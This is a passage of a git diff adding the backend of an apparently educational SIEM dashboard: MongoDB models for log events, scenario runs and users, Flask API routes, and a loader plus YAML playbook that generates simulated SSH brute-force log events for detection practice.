"ordering": ["-timestamp"], + "indexes": [ + "timestamp", + "source_type", + "severity", + "source_ip", + "dest_ip", + "username", + "hostname", + "event_type", + "scenario_run_id", + ], + } + + timestamp = DateTimeField( + default = lambda: datetime.now(UTC), + ) + source_type = StringField( + required = True, + choices = [s.value for s in SourceType], + ) + source_ip = StringField() + dest_ip = StringField() + source_port = IntField() + dest_port = IntField() + severity = StringField( + choices = [s.value for s in Severity], + default = Severity.INFO, + ) + event_type = StringField() + raw = DictField() + normalized = DictField() + metadata = DictField() + hostname = StringField() + username = StringField() + mitre_tactic = StringField() + mitre_technique = StringField() + scenario_run_id = ObjectIdField() + matched_alert_ids = ListField(ObjectIdField()) + + @classmethod + def create_event(cls, **fields: Any) -> LogEvent: + """ + Create and persist a new log event + """ + event = cls(**fields) + event.save() # type: ignore[no-untyped-call] + return event + + @classmethod + def search( + cls, + query: str, + page: int = 1, + per_page: int = settings.DEFAULT_PAGE_SIZE + ) -> dict[str, Any]: + """ + Full text search across key fields + """ + qs = cls.objects.filter( # type: ignore[no-untyped-call] + __raw__ = { + "$or": [ + { + "event_type": { + "$regex": query, + "$options": "i" + } + }, + { + "source_ip": { + "$regex": query, + "$options": "i" + } + }, + { + "dest_ip": { + "$regex": query, + "$options": "i" + } + }, + { + "username": { + "$regex": query, + "$options": "i" + } + }, + { + "hostname": { + "$regex": query, + "$options": "i" + } + }, + ] + } + ) + return cls.paginate(queryset = qs, page = page, per_page = per_page) + + @classmethod + def get_by_source_ip(cls, ip: str) -> list[Any]: + """ + Pivot query returning all events from a source IP + """ + return list(cls.objects(source_ip = ip).order_by("-timestamp")) # type: ignore[no-untyped-call] + + @classmethod + def get_by_username(cls, username: str) -> list[Any]: + """ + Pivot query returning all events for a username + """ + return list(cls.objects(username = username).order_by("-timestamp")) # type: ignore[no-untyped-call] + + @classmethod + def get_by_hostname(cls, hostname: str) -> list[Any]: + """ + Pivot query returning all events for a hostname + """ + return list(cls.objects(hostname = hostname).order_by("-timestamp")) # type: ignore[no-untyped-call] + + @classmethod + def timeline_aggregation( + cls, + hours: int = settings.TIMELINE_DEFAULT_HOURS, + bucket_minutes: int = settings.TIMELINE_BUCKET_MINUTES, + ) -> list[dict[str, Any]]: + """ + Aggregate event counts into time buckets for charting + """ + cutoff = datetime.now(UTC) - timedelta(hours=hours) + pipeline = [ + { + "$match": { + "timestamp": { + "$gte": cutoff + } + } + }, + { + "$group": { + "_id": { + "$dateTrunc": { + "date": "$timestamp", + "unit": "minute", + "binSize": bucket_minutes, + } + }, + "count": { + "$sum": 1 + }, + } + }, + { + "$sort": { + "_id": 1 + } + }, + { + "$project": { + "_id": 0, + "bucket": "$_id", + "count": 1, + } + }, + ] + return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call] + + @classmethod + def severity_breakdown(cls) -> list[dict[str, Any]]: + """ + Count events grouped by severity level + """ + pipeline = [ + { + "$group": { + "_id": "$severity", + "count": { + "$sum": 1 + }, + } + }, + { + "$project": { + "_id": 0, + "severity": "$_id", + "count": 1, + } + }, + ] + return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call] + + @classmethod + def top_sources(cls, limit: int = settings.TOP_SOURCES_LIMIT) -> list[dict[str, Any]]: + """ + Return the most frequent source IPs + """ + pipeline = [ + { + "$match": { + "source_ip": { + "$ne": None + } + } + }, + { + "$group": { + "_id": "$source_ip", + "count": { + "$sum": 1 + }, + } + }, + { + "$sort": { + "count": -1 + } + }, + { + "$limit": limit + }, + { + "$project": { + "_id": 0, + "source_ip": "$_id", + "count": 1, + } + }, + ] + return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call] diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/ScenarioRun.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/ScenarioRun.py new file mode 100644 index 00000000..3158e65e --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/ScenarioRun.py @@ -0,0 +1,127 @@ +""" +©AngelaMos | 2026 +ScenarioRun.py +""" + +from typing import Any +from datetime import datetime, UTC +from enum import StrEnum + +from mongoengine import ( + StringField, + DateTimeField, + IntField, + FloatField, +) + +from app.models.Base import BaseDocument + + +class RunStatus(StrEnum): + """ + Possible states for a scenario run + """ + RUNNING = "running" + COMPLETED = "completed" + STOPPED = "stopped" + PAUSED = "paused" + ERROR = "error" + + +DEFAULT_SPEED = 1.0 + + +class ScenarioRun(BaseDocument): + """ + Tracks a scenario execution with status and event count + """ + meta: dict[str, Any] = { # noqa: RUF012 + "collection": "scenario_runs", + "ordering": ["-started_at"], + } + + scenario_name = StringField(required = True) + status = StringField( + required = True, + default = RunStatus.RUNNING, + choices = [s.value for s in RunStatus], + ) + started_at = DateTimeField( + default = lambda: datetime.now(UTC), + ) + completed_at = DateTimeField() + events_generated = IntField(default = 0) + speed = FloatField(default = DEFAULT_SPEED) + error_message = StringField() + + @classmethod + def start_run(cls, scenario_name: str) -> ScenarioRun: + """ + Create a new running scenario record + """ + run = cls(scenario_name = scenario_name) + run.save() # type: ignore[no-untyped-call] + return run + + @classmethod + def get_active_runs(cls) -> list[Any]: + """ + Return all runs with running or paused status + """ + return list(cls.objects(status__in = [ # type: ignore[no-untyped-call] + RunStatus.RUNNING, + RunStatus.PAUSED, + ])) + + def increment_events(self, count: int = 1) -> None: + """ + Atomically increment the generated event counter + """ + self.update(inc__events_generated = count) # type: ignore[no-untyped-call] + self.reload() # type: ignore[no-untyped-call] + + def mark_completed(self) -> None: + """ + Set status to completed with a timestamp + """ + self.status = RunStatus.COMPLETED + self.completed_at = datetime.now(UTC) + self.save() # type: ignore[no-untyped-call] + + def mark_stopped(self) -> None: + """ + Set status to stopped with a timestamp + """ + self.status = RunStatus.STOPPED + self.completed_at = datetime.now(UTC) + self.save() # type: ignore[no-untyped-call] + + def mark_paused(self) -> None: + """ + Set status to paused + """ + self.status = RunStatus.PAUSED + self.save() # type: ignore[no-untyped-call] + + def mark_resumed(self) -> None: + """ + Set status back to running from paused + """ + self.status = RunStatus.RUNNING + self.save() # type: ignore[no-untyped-call] + + def mark_error(self, message: str) -> None: + """ + Set status to error with a message + """ + self.status = RunStatus.ERROR + self.error_message = message + self.completed_at = datetime.now(UTC) + self.save() # type: ignore[no-untyped-call] + + def set_speed(self, speed: float) -> None: + """ + Update the playback speed multiplier + """ + self.speed = speed + self.save() # type: ignore[no-untyped-call] diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/User.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/User.py new file mode 100644 index 00000000..8e658de4 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/User.py @@ -0,0 +1,155 @@ +""" +©AngelaMos | 2026 +User.py +""" + +from typing import Any +from enum import StrEnum + +from mongoengine import ( + StringField, + BooleanField, + EmailField, +) + +from app.config import settings +from app.models.Base import BaseDocument + + +class UserRole(StrEnum): + """ + Available user roles + """ + ANALYST = "analyst" + ADMIN = "admin" + + +USERNAME_MIN = 3 +USERNAME_MAX = 32 + + +class User(BaseDocument): + """ + User document with repository query methods + """ + meta: dict[str, Any] = {"collection": "users"} # noqa: RUF012 + + username = StringField( + required = True, + unique = True, + min_length = USERNAME_MIN, + max_length = USERNAME_MAX, + ) + email = EmailField(required = True, unique = True) + password_hash = StringField(required = True) + role = StringField( + required = True, + default = UserRole.ANALYST, + choices = [r.value for r in UserRole], + ) + is_active = BooleanField(default = True) + + @classmethod + def find_by_username(cls, username: str) -> User | None: + """ + Look up a user by their username + """ + return cls.objects(username = username).first() # type: ignore[no-untyped-call, no-any-return] + + @classmethod + def find_by_email(cls, email: str) -> User | None: + """ + Look up a user by their email + """ + return cls.objects(email = email).first() # type: ignore[no-untyped-call, no-any-return] + + @classmethod + def username_exists(cls, username: str) -> bool: + """ + Check if a username is already taken + """ + return cls.objects(username = username).count() > 0 # type: ignore[no-untyped-call, no-any-return] + + @classmethod + def email_exists(cls, email: str) -> bool: + """ + Check if an email is already registered + """ + return cls.objects(email = email).count() > 0 # type: ignore[no-untyped-call, no-any-return] + + @classmethod + def create_user( + cls, + username: str, + email: str, + password_hash: str, + role: str = UserRole.ANALYST, + ) -> User: + """ + Create and save a new user with a pre hashed password + """ + user = cls( + username = username, + email = email, + password_hash = password_hash, + role = role, + ) + user.save() # type: ignore[no-untyped-call] + return user + + @classmethod + def list_all( + cls, + page: int = 1, + per_page: int = settings.DEFAULT_PAGE_SIZE, + ) -> dict[str, Any]: + """ + Paginated list of all users ordered by creation date + """ + qs = cls.objects.order_by("-created_at") # type: ignore[attr-defined] + return cls.paginate(qs, page, per_page) + + @classmethod + def count_admins(cls) -> int: + """ + Count active users with the admin role + """ + return cls.objects(role = UserRole.ADMIN, is_active = True).count() # type: ignore[no-untyped-call, no-any-return] + + def update_profile(self, **fields: str) -> User: + """ + Update mutable profile fields and save + """ + allowed = {"username", "email", "password_hash"} + for key, value in fields.items(): + if key in allowed and value is not None: + setattr(self, key, value) + self.save() # type: ignore[no-untyped-call] + return self + + def set_role(self, role: str) -> None: + """ + Change the user role and persist + """ + self.role = role + self.save() # type: ignore[no-untyped-call] + + def deactivate(self) -> None: + """ + Soft-delete by marking the account inactive + """ + self.is_active = False + self.save() # type: ignore[no-untyped-call] + + def activate(self) -> None: + """ + Re-enable a previously deactivated account + """ + self.is_active = True + self.save() # type: ignore[no-untyped-call] + + def hard_delete(self) -> None: + """ + Permanently remove the user document + """ + self.delete() # type: ignore[no-untyped-call] diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/__init__.py new file mode 100644 index 00000000..e1add2a9 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/__init__.py @@ -0,0 +1,4 @@ +""" +©AngelaMos | 2026 +__init__.py +""" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/__init__.py new file mode 100644 index 00000000..9ebee151 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/__init__.py @@ -0,0 +1,30 @@ +""" +©AngelaMos | 2026 +__init__.py +""" + +from flask import Flask + + +API_PREFIX = "/v1" + + +def register_blueprints(app: Flask) -> None: + """ + Register all route blueprints under the API version + """ + from app.routes.auth import auth_bp + from app.routes.admin import admin_bp + from app.routes.dashboard import dashboard_bp + from app.routes.logs import logs_bp + from app.routes.alerts import alerts_bp + from app.routes.rules import rules_bp + from app.routes.scenarios import scenarios_bp + + app.register_blueprint(auth_bp, url_prefix = f"{API_PREFIX}/auth") + app.register_blueprint(admin_bp, url_prefix = f"{API_PREFIX}/admin") + app.register_blueprint(dashboard_bp, url_prefix = f"{API_PREFIX}/dashboard") + app.register_blueprint(logs_bp, url_prefix = f"{API_PREFIX}/logs") + app.register_blueprint(alerts_bp, url_prefix = f"{API_PREFIX}/alerts") + app.register_blueprint(rules_bp, url_prefix = f"{API_PREFIX}/rules") + app.register_blueprint(scenarios_bp, url_prefix = f"{API_PREFIX}/scenarios") diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/admin.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/admin.py new file mode 100644 index 00000000..0fd28943 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/admin.py @@ -0,0 +1,80 @@ +""" +©AngelaMos | 2026 +admin.py +""" + +from typing import Any + +from flask import Blueprint + +from app.controllers import admin_ctrl +from app.core.decorators import endpoint, S, R +from app.models.User import UserRole +from app.schemas.admin import AdminUpdateRoleRequest, AdminUserListParams + + +admin_bp = Blueprint("admin", __name__) + +ADMIN = [UserRole.ADMIN] + + +@admin_bp.get("/users") +@endpoint(roles = ADMIN) +@S(AdminUserListParams, source = "query") +@R() +def list_users() -> Any: + """ + Paginated list of all user accounts + """ + return admin_ctrl.list_users() + + +@admin_bp.get("/users/") +@endpoint(roles = ADMIN) +@R() +def get_user(user_id: str) -> Any: + """ + Retrieve a single user by ID + """ + return admin_ctrl.get_user(user_id) + + +@admin_bp.patch("/users//role") +@endpoint(roles = ADMIN) +@S(AdminUpdateRoleRequest) +@R() +def update_role(user_id: str) -> Any: + """ + Change a user's role + """ + return admin_ctrl.update_role(user_id) + + +@admin_bp.post("/users//deactivate") +@endpoint(roles = ADMIN) +@R() +def deactivate_user(user_id: str) -> Any: + """ + Soft-delete a user account + """ + return admin_ctrl.deactivate_user(user_id) + + +@admin_bp.post("/users//activate") +@endpoint(roles = ADMIN) +@R() +def activate_user(user_id: str) -> Any: + """ + Re-enable a deactivated user account + """ + return admin_ctrl.activate_user(user_id) + + +@admin_bp.delete("/users/") +@endpoint(roles = ADMIN) +@R() +def delete_user(user_id: str) -> Any: + """ + Permanently remove a user + """ + return admin_ctrl.delete_user(user_id) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/alerts.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/alerts.py new file mode 100644 index 00000000..a942571d --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/alerts.py @@ -0,0 +1,55 @@ +""" +©AngelaMos | 2026 +alerts.py +""" + +from typing import Any + +from flask import Blueprint + +from app.controllers import alert_ctrl +from app.core.decorators import endpoint, S, R +from app.schemas.alert import AlertStatusUpdate, AlertQueryParams + +alerts_bp = Blueprint("alerts", __name__) + + +@alerts_bp.get("") +@endpoint() +@S(AlertQueryParams, source="query") +@R() +def list_alerts() -> Any: + """ + Return paginated and filtered alerts + """ + return alert_ctrl.list_alerts() + + +@alerts_bp.get("/stream") +@endpoint() +def stream_alerts() -> Any: + """ + SSE stream of real-time alerts + """ + return alert_ctrl.stream_alerts() + + +@alerts_bp.get("/") +@endpoint() +@R() +def get_alert_detail(alert_id: str) -> Any: + """ + Return an alert with its matched log events + """ + return alert_ctrl.get_alert_detail(alert_id) + + +@alerts_bp.patch("//status") +@endpoint() +@S(AlertStatusUpdate) +@R() +def update_alert_status(alert_id: str) -> Any: + """ + Transition an alert to a new lifecycle status + """ + return alert_ctrl.update_alert_status(alert_id) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/auth.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/auth.py new file mode 100644 index 00000000..734add8a --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/auth.py @@ -0,0 +1,62 @@ +""" +©AngelaMos | 2026 +auth.py +""" + +from typing import Any + +from flask import Blueprint + +from app.controllers import auth_ctrl +from app.core.decorators import endpoint, S, R +from app.core.rate_limiting import limiter +from app.config import settings +from app.schemas.auth import RegisterRequest, LoginRequest, UpdateProfileRequest + + +auth_bp = Blueprint("auth", __name__) + + +@auth_bp.post("/register") +@limiter.limit(settings.RATELIMIT_AUTH) +@endpoint(auth_required = False) +@S(RegisterRequest) +@R(status = 201) +def register() -> Any: + """ + Register a new analyst account + """ + return auth_ctrl.register() + + +@auth_bp.post("/login") +@limiter.limit(settings.RATELIMIT_AUTH) +@endpoint(auth_required = False) +@S(LoginRequest) +@R() +def login() -> Any: + """ + Authenticate and return a JWT + """ + return auth_ctrl.login() + + +@auth_bp.patch("/me") +@endpoint() +@S(UpdateProfileRequest) +@R() +def update_profile() -> Any: + """ + Update the authenticated user's own profile + """ + return auth_ctrl.update_profile() + + +@auth_bp.get("/me") +@endpoint() +@R() +def me() -> Any: + """ + Return the current authenticated user profile + """ + return auth_ctrl.me() diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/dashboard.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/dashboard.py new file mode 100644 index 00000000..59c96d38 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/dashboard.py @@ -0,0 +1,56 @@ +""" +©AngelaMos | 2026 +dashboard.py +""" + +from typing import Any + +from flask import Blueprint + +from app.controllers import dashboard_ctrl +from app.core.decorators import endpoint, S, R +from app.schemas.dashboard import TimelineParams, TopSourcesParams + +dashboard_bp = Blueprint("dashboard", __name__) + + +@dashboard_bp.get("") +@endpoint() +@R() +def overview() -> Any: + """ + Return combined dashboard statistics + """ + return dashboard_ctrl.overview() + + +@dashboard_bp.get("/timeline") +@endpoint() +@S(TimelineParams, source="query") +@R() +def timeline() -> Any: + """ + Return event counts bucketed over a time window + """ + return dashboard_ctrl.timeline() + + +@dashboard_bp.get("/severity-breakdown") +@endpoint() +@R() +def severity_breakdown() -> Any: + """ + Return event counts grouped by severity level + """ + return dashboard_ctrl.severity_breakdown() + + +@dashboard_bp.get("/top-sources") +@endpoint() +@S(TopSourcesParams, source="query") +@R() +def top_sources() -> Any: + """ + Return the most frequent source IPs + """ + return dashboard_ctrl.top_sources() diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/logs.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/logs.py new file mode 100644 index 00000000..fe72278e --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/logs.py @@ -0,0 +1,83 @@ +""" +©AngelaMos | 2026 +logs.py +""" + +from typing import Any + +from flask import Blueprint + +from app.controllers import log_ctrl +from app.core.decorators import endpoint, S, R +from app.schemas.log_event import ( + LogIngestRequest, + LogQueryParams, + LogSearchParams, + PivotParams, +) + + +logs_bp = Blueprint("logs", __name__) + + +@logs_bp.get("") +@endpoint() +@S(LogQueryParams, source = "query") +@R() +def list_logs() -> Any: + """ + Return paginated and filtered log events + """ + return log_ctrl.list_logs() + + +@logs_bp.get("/") +@endpoint() +@R() +def get_log(log_id: str) -> Any: + """ + Return a single log event by ID + """ + return log_ctrl.get_log(log_id) + + +@logs_bp.post("/ingest") +@endpoint(auth_required = False) +@S(LogIngestRequest) +@R(status = 201) +def ingest_log() -> Any: + """ + Ingest a raw log event into the pipeline + """ + return log_ctrl.ingest_log() + + +@logs_bp.get("/search") +@endpoint() +@S(LogSearchParams, source = "query") +@R() +def search_logs() -> Any: + """ + Full text search across log events + """ + return log_ctrl.search_logs() + + +@logs_bp.get("/stream") +@endpoint() +def stream_logs() -> Any: + """ + SSE stream of real-time log events + """ + return log_ctrl.stream_logs() + + +@logs_bp.get("/pivot") +@endpoint() +@S(PivotParams, source = "query") +@R() +def pivot() -> Any: + """ + Forensic pivot by IP, username, or hostname + """ + return log_ctrl.pivot() diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/rules.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/rules.py new file mode 100644 index 00000000..b1fdd3e9 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/rules.py @@ -0,0 +1,81 @@ +""" +©AngelaMos | 2026 +rules.py +""" + +from typing import Any + +from flask import Blueprint + +from app.controllers import rule_ctrl +from app.core.decorators import endpoint, S, R +from app.schemas.rule import ( + RuleCreateRequest, + RuleUpdateRequest, + RuleTestRequest, +) + +rules_bp = Blueprint("rules", __name__) + + +@rules_bp.get("") +@endpoint() +@R() +def list_rules() -> Any: + """ + Return all correlation rules + """ + return rule_ctrl.list_rules() + + +@rules_bp.post("") +@endpoint() +@S(RuleCreateRequest) +@R(status=201) +def create_rule() -> Any: + """ + Create a new correlation rule + """ + return rule_ctrl.create_rule() + + +@rules_bp.get("/") +@endpoint() +@R() +def get_rule(rule_id: str) -> Any: + """ + Return a single correlation rule by ID + """ + return rule_ctrl.get_rule(rule_id) + + +@rules_bp.patch("/") +@endpoint() +@S(RuleUpdateRequest) +@R() +def update_rule(rule_id: str) -> Any: + """ + Partially update a correlation rule + """ + return rule_ctrl.update_rule(rule_id) + + +@rules_bp.delete("/") +@endpoint() +@R() +def delete_rule(rule_id: str) -> Any: + """ + Delete a correlation rule + """ + return rule_ctrl.delete_rule(rule_id) + + +@rules_bp.post("//test") +@endpoint() +@S(RuleTestRequest) +@R() +def test_rule(rule_id: str) -> Any: + """ + Test a rule against historical log events + """ + return rule_ctrl.test_rule(rule_id) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/scenarios.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/scenarios.py new file mode 100644 index 00000000..8ddc9922 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/scenarios.py @@ -0,0 +1,87 @@ +""" +©AngelaMos | 2026 +scenarios.py +""" + +from typing import Any + +from flask import Blueprint + +from app.controllers import scenario_ctrl +from app.core.decorators import endpoint, S, R +from app.schemas.scenario import ScenarioStartRequest, SpeedRequest + + +scenarios_bp = Blueprint("scenarios", __name__) + + +@scenarios_bp.get("/available") +@endpoint() +@R() +def list_available() -> Any: + """ + Return metadata for all available playbooks + """ + return scenario_ctrl.list_available() + + +@scenarios_bp.get("/running") +@endpoint() +@R() +def list_running() -> Any: + """ + Return all active scenario runs + """ + return scenario_ctrl.list_running() + + +@scenarios_bp.post("/start") +@endpoint() +@S(ScenarioStartRequest) +@R(status = 201) +def start_scenario() -> Any: + """ + Start a new scenario from a playbook file + """ + return scenario_ctrl.start_scenario() + + +@scenarios_bp.post("//stop") +@endpoint() +@R() +def stop_scenario(run_id: str) -> Any: + """ + Stop an active scenario run + """ + return scenario_ctrl.stop_scenario(run_id) + + +@scenarios_bp.post("//pause") +@endpoint() +@R() +def pause_scenario(run_id: str) -> Any: + """ + Pause an active scenario run + """ + return scenario_ctrl.pause_scenario(run_id) + + +@scenarios_bp.post("//resume") +@endpoint() +@R() +def resume_scenario(run_id: str) -> Any: + """ + Resume a paused scenario run + """ + return scenario_ctrl.resume_scenario(run_id) + + +@scenarios_bp.put("//speed") +@endpoint() +@S(SpeedRequest) +@R() +def set_speed(run_id: str) -> Any: + """ + Adjust playback speed of an active scenario + """ + return scenario_ctrl.set_speed(run_id) diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/__init__.py new file mode 100644 index 00000000..e1add2a9 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/__init__.py @@ -0,0 +1,4 @@ +""" +©AngelaMos | 2026 +__init__.py +""" diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbook.py b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbook.py new file mode 100644 index 00000000..e8858570 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbook.py @@ -0,0 +1,130 @@ +""" +©AngelaMos | 2026 +playbook.py +""" + +from typing import Any +from pathlib import Path +from dataclasses import dataclass, field + +import yaml + +from app.config import settings + + +@dataclass +class PlaybookEvent: + """ + A single event within a playbook timeline + """ + delay_seconds: float + source_type: str + event_type: str + source_ip: str | None = None + dest_ip: str | None = None + source_port: int | None = None + dest_port: int | None = None + hostname: str | None = None + username: str | None = None + mitre_tactic: str | None = None + mitre_technique: str | None = None + message: str | None = None + metadata: dict[str, Any] = field(default_factory = dict) + extra: dict[str, Any] = field(default_factory = dict) + + +@dataclass +class Playbook: + """ + A loaded attack scenario with metadata and ordered events + """ + name: str + description: str + mitre_tactics: list[str] + mitre_techniques: list[str] + events: list[PlaybookEvent] + + @classmethod + def load(cls, yaml_path: str | Path) -> Playbook: + """ + Parse a YAML playbook file into a Playbook instance + """ + path = Path(yaml_path) + with path.open() as f: + data = yaml.safe_load(f) + + events = [] + for ev in data.get("events", []): + delay = ev.pop("delay_seconds", 0) + source_type = ev.pop("source_type", "generic") + event_type = ev.pop("event_type", "") + events.append( + PlaybookEvent( + delay_seconds = delay, + source_type = source_type, + event_type = event_type, + source_ip = ev.pop("source_ip", + None), + dest_ip = ev.pop("dest_ip", + None), + source_port = ev.pop("source_port", + None), + dest_port = ev.pop("dest_port", + None), + hostname = ev.pop("hostname", + None), + username = ev.pop("username", + None), + mitre_tactic = ev.pop("mitre_tactic", + None), + mitre_technique = ev.pop("mitre_technique", + None), + message = ev.pop("message", + None), + metadata = ev.pop("metadata", + {}), + extra = ev, + ) + ) + + return cls( + name = data.get("name", + path.stem), + description = data.get("description", + ""), + mitre_tactics = data.get("mitre_tactics", + []), + mitre_techniques = data.get("mitre_techniques", + []), + events = events, + ) + + @classmethod + def list_available(cls) -> list[dict[str, Any]]: + """ + Scan the playbooks directory and return metadata for each + """ + playbook_dir = Path(settings.SCENARIO_PLAYBOOK_DIR) + if not playbook_dir.exists(): + return [] + + available = [] + for yml_file in sorted(playbook_dir.glob("*.yml")): + with yml_file.open() as f: + data = yaml.safe_load(f) + available.append( + { + "filename": yml_file.name, + "name": data.get("name", + yml_file.stem), + "description": data.get("description", + ""), + "mitre_tactics": data.get("mitre_tactics", + []), + "mitre_techniques": data.get("mitre_techniques", + []), + "event_count": len(data.get("events", + [])), + } + ) + return available diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/brute_force_lateral.yml b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/brute_force_lateral.yml new file mode 100644 index 00000000..e2772a22 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/brute_force_lateral.yml @@ -0,0 +1,446 @@ +# ©AngelaMos | 2026 +# brute_force_lateral.yml + +name: Brute Force with Lateral Movement +description: > + Simulates an external attacker brute-forcing SSH credentials on a + perimeter host, gaining access, then moving laterally to internal + servers using stolen credentials. Maps to MITRE ATT&CK Initial + Access and Lateral Movement tactics. + +mitre_tactics: + - TA0001 + - TA0008 +mitre_techniques: + - T1110.001 + - T1021.004 + +events: + - delay_seconds: 0.5 + source_type: firewall + event_type: connection_allowed + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + source_port: 48201 + dest_port: 22 + hostname: fw-edge-01 + message: Inbound SSH connection allowed + action: allow + protocol: tcp + rule_name: ssh-management + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.3 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: admin + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.2 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: root + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.2 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: deploy + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: ubuntu + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: jenkins + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: postgres + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: www-data + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: backup + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: sysadmin + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: devops + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: ftpuser + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: testuser + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: operator + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure 